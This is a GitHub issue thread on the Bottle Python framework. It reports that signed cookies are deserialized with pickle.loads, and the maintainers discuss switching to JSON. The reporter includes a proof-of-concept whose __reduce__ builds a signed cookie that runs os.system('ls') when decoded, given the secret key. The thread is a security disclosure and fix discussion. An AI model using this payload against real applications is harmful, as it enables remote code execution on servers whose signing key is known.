bottlepy / bottle

bottle.py is a fast and simple micro-framework for python web-applications.
http://bottlepy.org/
MIT License
8.38k stars 1.46k forks source link

Deserialization security issues when using signed cookies #900

Open dorneanu opened 7 years ago

dorneanu commented 7 years ago

Hi,

during a pentest of a Bottlepy based application, I've noticed that when using signed cookies, cookie_decode is being called:

def cookie_decode(data, key, digestmod=None):
      """ Verify and decode an encoded string. Return an object or None."""
      data = tob(data)
      if cookie_is_encoded(data):
          sig, msg = data.split(tob('?'), 1)
          digestmod = digestmod or hashlib.sha256
          hashed = hmac.new(tob(key), msg, digestmod=digestmod).digest()
          if _lscmp(sig[1:], base64.b64encode(hashed)):
              return pickle.loads(base64.b64decode(msg))
      return None 

When the hash value of the cookie data is valid, pickle.loads() gets involved. An attacker could therefore build a cookie value like this:

[...]

secret_key = "your secret key"

# --- Exploit class to be serialized
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('ls',))

def build_exploit():
    digestmod = hashlib.sha256
    msg = base64.b64encode(cPickle.dumps(Exploit()))
    hashed = hmac.new(tob(secret_key), msg, digestmod=digestmod).digest()
    return "!%s?%s" % (base64.b64encode(hashed), msg)

In this case build_exploit() will return a base64 encoded serialized string (hash value + serialized class) which will trigger the execution of os.system("ls") when being deserialized (pickle.loads()).

You can of course use this kind of attack only when you know the secret key used for the signing process.

You should definitely avoid using cPickle and use some JSON based alternatives for the serialization job.

Best regards, Victor

defnull commented 7 years ago

Roadmap:

Alternatively we could also introduce a Request.session variable that persist to json-cookies by default but can be extended to persist to disk via plugins, then phase out the secure-cookie functionality completely.

Pull requests are welcome.

dorneanu commented 7 years ago

Add a way to declare own serializers on an application.

Do you have some code example how you'd implement that?

defnull commented 7 years ago

Good question. Perhaps we should just hard-code the json/pickle variants for now and decide based on Request.app.config['bottle.cookie.serializer'] == 'json' which one to use. If there is really a need for pluggable serializers in the future, we can still think about a better mechanism.

Configuration on a per-app basis is always a good idea (you might want to mount a legacy app that uses pickle, next to a new app that uses json) but adding new serializers is something that can be global for all applications (as in: module space functions). Just be careful with adding any 'public' APIs (eg. functions not starting with '_' and appearing in the docs) because then it's hard to change them later.

defnull commented 7 years ago

I changed my mind. New Roadmap:

dorneanu commented 7 years ago

👍